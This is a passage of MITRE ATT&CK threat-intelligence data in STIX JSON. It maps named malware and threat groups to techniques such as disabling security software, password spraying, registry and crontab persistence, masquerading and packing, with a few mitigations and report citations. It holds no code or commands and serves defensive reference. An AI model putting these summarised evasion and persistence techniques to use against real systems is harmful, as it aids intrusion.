2019)","relationship_type":"uses","source_ref":"malware--43155329-3edf-47a6-9a14-7dac899b01e4","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--67e2417b-793a-4082-94ca-445718e925b1","type":"relationship","created":"2020-05-26T21:02:38.359Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Netwalker May 2020","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/","description":"Victor, K.. (2020, May 18). Netwalker Fileless Ransomware Injected via Reflective Loading . Retrieved May 26, 2020."}],"modified":"2020-05-26T21:02:38.359Z","description":"[Netwalker](https://attack.mitre.org/software/S0457) can detect and terminate active security software-related processes on infected systems.(Citation: TrendMicro Netwalker May 2020)\t","relationship_type":"uses","source_ref":"malware--754effde-613c-4244-a83e-fb659b2a4d06","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--67e281a2-0bbc-4a6e-a9a7-3f22649f9d14","created":"2024-09-06T22:03:53.154Z","revoked":false,"external_references":[{"source_name":"CISA GRU29155 2024","description":"US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-06T22:03:53.154Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) has conducted password spraying against Outlook Web Access (OWA) infrastructure to identify valid user names and passwords.(Citation: CISA GRU29155 2024)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--67e3c192-f0f3-4b8d-9fd7-b4200acebd85","type":"relationship","created":"2021-05-05T18:50:14.600Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Clandestine Wolf","description":"Eng, E., Caselden, D.. (2015, June 23). Operation Clandestine Wolf – Adobe Flash Zero-Day in APT3 Phishing Campaign. Retrieved January 14, 2016.","url":"https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html"}],"modified":"2021-10-01T19:09:22.080Z","description":"[APT3](https://attack.mitre.org/groups/G0022) has lured victims into clicking malicious links delivered through spearphishing.(Citation: FireEye Clandestine Wolf)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--67e631d1-439f-4630-9662-8ea74ab10234","created":"2023-02-09T19:00:00.555Z","revoked":false,"external_references":[{"source_name":"Palo Alto Brute Ratel July 2022","description":"Harbison, M. and Renals, P. (2022, July 5). When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.","url":"https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-09T19:00:00.555Z","description":"[Brute Ratel C4](https://attack.mitre.org/software/S1063) has used a payload file named OneDrive.update to appear benign.(Citation: Palo Alto Brute Ratel July 2022)","relationship_type":"uses","source_ref":"tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--67e6b603-a45d-4cbc-9b3e-546392934f7f","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Turla Mosquito Jan 2018","description":"ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.","url":"https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T19:21:13.970Z","description":"[Mosquito](https://attack.mitre.org/software/S0256) can modify Registry keys under HKCU\\Software\\Microsoft\\[dllname] to store configuration values. [Mosquito](https://attack.mitre.org/software/S0256) also modifies Registry keys under HKCR\\CLSID\\...\\InprocServer32 with a path to the launcher.(Citation: ESET Turla Mosquito Jan 2018)","relationship_type":"uses","source_ref":"malware--92b55426-109f-4d93-899f-1833ce91ff90","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--67edd4b3-09f8-47c7-aaf1-6440524c78d4","type":"relationship","created":"2020-03-13T20:33:00.313Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.stealthbits.com/attack-step-3-persistence-ntfs-extended-attributes-file-system-attacks","description":"Sander, J. (2017, October 12). Attack Step 3: Persistence with NTFS Extended Attributes – File System Attacks. Retrieved March 21, 2018.","source_name":"InsiderThreat NTFS EA Oct 2017"}],"modified":"2020-03-29T22:46:56.542Z","description":"Consider adjusting read and write permissions for NTFS EA, though this should be tested to ensure routine OS operations are not impeded. (Citation: InsiderThreat NTFS EA Oct 2017)","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--67f029d5-c44b-446b-9efe-0e0e0d85192a","type":"relationship","created":"2021-02-03T18:34:46.363Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DOJ Iran Indictments March 2018","url":"https://www.justice.gov/usao-sdny/press-release/file/1045781/download","description":"DOJ. (2018, March 23). U.S. v. Rafatnejad et al . Retrieved February 3, 2021."}],"modified":"2021-02-03T18:34:46.363Z","description":"[Silent Librarian](https://attack.mitre.org/groups/G0122) has set up auto forwarding rules on compromised e-mail accounts.(Citation: DOJ Iran Indictments March 2018)","relationship_type":"uses","source_ref":"intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384","target_ref":"attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--67f19627-27a5-4898-bab5-7b235aa4ad77","type":"relationship","created":"2017-05-31T21:33:27.060Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/","description":"Carvey, H.. (2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. Retrieved January 25, 2016.","source_name":"Dell Lateral Movement"}],"modified":"2020-03-06T19:56:49.105Z","description":"[APT18](https://attack.mitre.org/groups/G0026) actors used the native [at](https://attack.mitre.org/software/S0110) Windows task scheduler tool to use scheduled tasks for execution on a victim network.(Citation: Dell Lateral Movement)","relationship_type":"uses","source_ref":"intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648","target_ref":"attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--67f1d68d-fe0f-4e65-8b2a-f614fda68e3c","type":"relationship","created":"2019-01-30T19:50:46.595Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/","source_name":"Unit 42 NOKKI Sept 2018"}],"modified":"2020-03-18T15:22:32.935Z","description":"[NOKKI](https://attack.mitre.org/software/S0353) is written to %LOCALAPPDATA%\\MicroSoft Updatea\\svServiceUpdate.exe prior being executed in a new process in an apparent attempt to masquerade as a legitimate folder and file.(Citation: Unit 42 NOKKI Sept 2018)","relationship_type":"uses","source_ref":"malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--67f2ca97-5949-4503-a55c-1f0d3f3502ca","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT35 2018","description":"Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.","url":"https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"}],"modified":"2019-09-09T19:21:42.573Z","description":"(Citation: FireEye APT35 2018)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--67f336eb-31e7-4904-9ed4-07ca68cd3838","type":"relationship","created":"2022-02-08T16:42:30.400Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike StellarParticle January 2022","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022."}],"modified":"2022-02-08T16:42:30.400Z","description":"The [GoldMax](https://attack.mitre.org/software/S0588) Linux variant has used a crontab entry with a @reboot line to gain persistence.(Citation: CrowdStrike StellarParticle January 2022)","relationship_type":"uses","source_ref":"malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0","target_ref":"attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--67f3f607-8c27-4a90-b1bf-e84f75815a42","type":"relationship","created":"2021-11-19T18:46:54.113Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"modified":"2021-11-19T18:46:54.113Z","description":"[Clambling](https://attack.mitre.org/software/S0660) has been delivered to victim's machines through malicious e-mail attachments.(Citation: Trend Micro DRBControl February 2020)","relationship_type":"uses","source_ref":"malware--6e95feb1-78ee-48d3-b421-4d76663b5c49","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--67f7ebd0-effb-4169-a184-7d45c614a6ee","type":"relationship","created":"2021-01-27T21:26:53.151Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET EvilNum July 2020","url":"https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/","description":"Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021."}],"modified":"2021-01-27T21:26:53.151Z","description":"[Evilnum](https://attack.mitre.org/groups/G0120) has used the malware variant, TerraTV, to load a malicious DLL placed in the TeamViewer directory, instead of the original Windows DLL located in a system folder.(Citation: ESET EvilNum July 2020) ","relationship_type":"uses","source_ref":"intrusion-set--1f0f9a14-11aa-49aa-9174-bcd0eaa979de","target_ref":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--67f82f6c-18f1-4f1e-8352-b7ecf8839ea2","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Reaver Nov 2017","description":"Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"}],"modified":"2020-03-17T02:22:51.845Z","description":"Some [Reaver](https://attack.mitre.org/software/S0172) variants use raw TCP for C2.(Citation: Palo Alto Reaver Nov 2017)","relationship_type":"uses","source_ref":"malware--65341f30-bec6-4b1d-8abf-1a5620446c29","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--67ffaecc-e47d-47a1-93fd-82d21018ad8b","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2018-10-17T00:14:20.652Z","description":"can collect system information, including computer name, system manufacturer, IsDebuggerPresent state, and execution path.(Citation: FireEye APT37 Feb 2018)","relationship_type":"uses","source_ref":"malware--211cfe9f-2676-4e1c-a5f5-2c8091da2a68","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6800b404-bdfe-46bf-8ce3-54819f990e1f","type":"relationship","created":"2020-03-11T14:28:40.154Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.trustedcomputinggroup.org/wp-content/uploads/Trusted-Platform-Module-Summary_04292008.pdf","description":"Trusted Computing Group. (2008, April 29). Trusted Platform Module (TPM) Summary. Retrieved June 8, 2016.","source_name":"TCG Trusted Platform Module"},{"url":"https://docs.microsoft.com/en-us/windows/security/information-protection/secure-the-windows-10-boot-process","description":"Microsoft. (n.d.). Secure the Windows 10 boot process. Retrieved April 23, 2020.","source_name":"TechNet Secure Boot Process"}],"modified":"2020-04-23T19:10:28.416Z","description":"Use Trusted Platform Module technology and a secure or trusted boot process to prevent system integrity from being compromised. Check the integrity of the existing BIOS or EFI to determine if it is vulnerable to modification. (Citation: TCG Trusted Platform Module) (Citation: TechNet Secure Boot Process)","relationship_type":"mitigates","source_ref":"course-of-action--7da0387c-ba92-4553-b291-b636ee42b2eb","target_ref":"attack-pattern--39131305-9282-45e4-ac3b-591d2d4fc3ef","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6801470e-9db4-4900-9bf0-aaef2774cdd3","created":"2024-09-18T18:13:29.105Z","revoked":false,"external_references":[{"source_name":"Elastic Latrodectus May 2024","description":"Stepanic, D. and Bousseaden, S. (2024, May 15). Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID. Retrieved September 13, 2024.","url":"https://www.elastic.co/security-labs/spring-cleaning-with-latrodectus"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-18T18:13:29.105Z","description":"The [Latrodectus](https://attack.mitre.org/software/S1160) payload has been packed for obfuscation.(Citation: Elastic Latrodectus May 2024)","relationship_type":"uses","source_ref":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--68017126-a4fe-4c2d-926d-fbc51ea8573c","type":"relationship","created":"2019-06-28T16:02:08.203Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf","source_name":"ESET LightNeuron May 2019"}],"modified":"2020-03-18T00:52:56.903Z","description":"[LightNeuron](https://attack.mitre.org/software/S0395) has used filenames associated with Exchange and Outlook for binary and configuration files, such as winmail.dat.(Citation: ESET LightNeuron May 2019)","relationship_type":"uses","source_ref":"malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--68019421-95db-4416-879d-bb68c063dd78","created":"2023-07-31T19:29:07.472Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"},{"source_name":"Microsoft Volt Typhoon May 2023","description":"Microsoft Threat Intelligence. (2023, May 24). Volt Typhoon targets US critical infrastructure with living-off-the-land techniques. Retrieved July 27, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/"},{"source_name":"Joint Cybersecurity Advisory Volt Typhoon June 2023","description":"NSA et al. (2023, May 24). People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection. Retrieved July 27, 2023.","url":"https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-17T20:42:56.556Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has used PowerShell including for remote system discovery.(Citation: Microsoft Volt Typhoon May 2023)(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)\n","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--68067ea4-1d06-4c3d-bee2-2c59f43d41f4","type":"relationship","created":"2021-05-10T23:19:38.781Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mcafee Clop Aug 2019","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/clop-ransomware/","description":"Mundo, A. (2019, August 1). Clop Ransomware. Retrieved May 10, 2021."},{"source_name":"Cybereason Clop Dec 2020","url":"https://www.cybereason.com/blog/cybereason-vs.-clop-ransomware","description":"Cybereason Nocturnus. (2020, December 23). Cybereason vs. Clop Ransomware. Retrieved May 11, 2021."}],"modified":"2021-10-14T20:22:46.768Z","description":"[Clop](https://attack.mitre.org/software/S0611) has been packed to help avoid detection.(Citation: Mcafee Clop Aug 2019)(Citation: Cybereason Clop Dec 2020)","relationship_type":"uses","source_ref":"malware--cad3ba95-8c89-4146-ab10-08daa813f9de","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6808a607-0c81-433b-a027-2f1a8fe163c9","type":"relationship","created":"2019-07-16T21:24:16.586Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-23T17:04:18.810Z","description":"Protect domain controllers by ensuring proper security configuration for critical servers.","relationship_type":"mitigates","source_ref":"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3","target_ref":"attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6809f70c-63a2-415d-8c64-66784fd80caf","type":"relationship","created":"2020-08-03T19:28:18.110Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/","source_name":"Trend Micro njRAT 2018"}],"modified":"2020-10-09T15:19:25.710Z","description":"[njRAT](https://attack.mitre.org/software/S0385) has executed PowerShell commands via auto-run registry key persistence.(Citation: Trend Micro njRAT 2018)","relationship_type":"uses","source_ref":"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--68130387-da58-4676-889b-0b8c5b2c3a65","created":"2022-01-11T14:58:01.888Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevailion DarkWatchman 2021","description":"Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.","url":"https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:28:39.925Z","description":"[DarkWatchman](https://attack.mitre.org/software/S0673) has the ability to enumerate file and folder names.(Citation: Prevailion DarkWatchman 2021)","relationship_type":"uses","source_ref":"malware--63686509-069b-4143-99ea-4e59cad6cb2a","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6813e94f-a123-4898-80c8-59e74c390fe3","type":"relationship","created":"2021-10-13T15:21:03.218Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2021-10-13T15:21:03.218Z","description":"[EnvyScout](https://attack.mitre.org/software/S0634) has been distributed via spearphishing as an email attachment.(Citation: MSTIC Nobelium Toolset May 2021)","relationship_type":"uses","source_ref":"malware--2f8229dc-da94-41c6-89ba-b5b6c32f6b7d","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--68146568-bc1f-49b6-9477-c6c06b0fa39c","created":"2022-04-20T05:18:46.761Z","x_mitre_version":"0.1","external_references":[{"source_name":"piazza launch agent mitigation","url":"https://antman1p-30185.medium.com/defeating-malicious-launch-persistence-156e2b40fc67","description":"Antonio Piazza (4n7m4n). (2021, November 23). Defeating Malicious Launch Persistence. Retrieved April 19, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"Set group policies to restrict file permissions to the ~/launchagents folder.(Citation: piazza launch agent mitigation)","modified":"2022-04-20T05:22:43.028Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--681857ae-6461-4070-a2b8-1fb53972ab38","created":"2022-06-24T15:49:13.533Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky Lyceum October 2021","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Kevin](https://attack.mitre.org/software/S1020) can exfiltrate data to the C2 server in 27-character chunks.(Citation: Kaspersky Lyceum October 2021)","modified":"2022-06-24T15:49:13.533Z","relationship_type":"uses","source_ref":"malware--e7863f5d-cb6a-4f81-8804-0a635eec160a","target_ref":"attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--681ea412-54a2-4580-960f-98e1219fff1f","type":"relationship","created":"2020-03-13T11:12:18.716Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Executable Installers are 